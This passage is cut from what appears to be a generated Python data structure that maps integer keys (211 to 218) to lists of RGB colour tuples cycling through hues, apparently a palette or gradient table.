(104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 211: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 212: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 125, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 125), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 213: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 214: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 122, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 122), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 215: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 119, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 119), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 216: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 217: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 113), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 218: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 113, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 124, 101), (204, 127, 101), (204, 130, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 161), 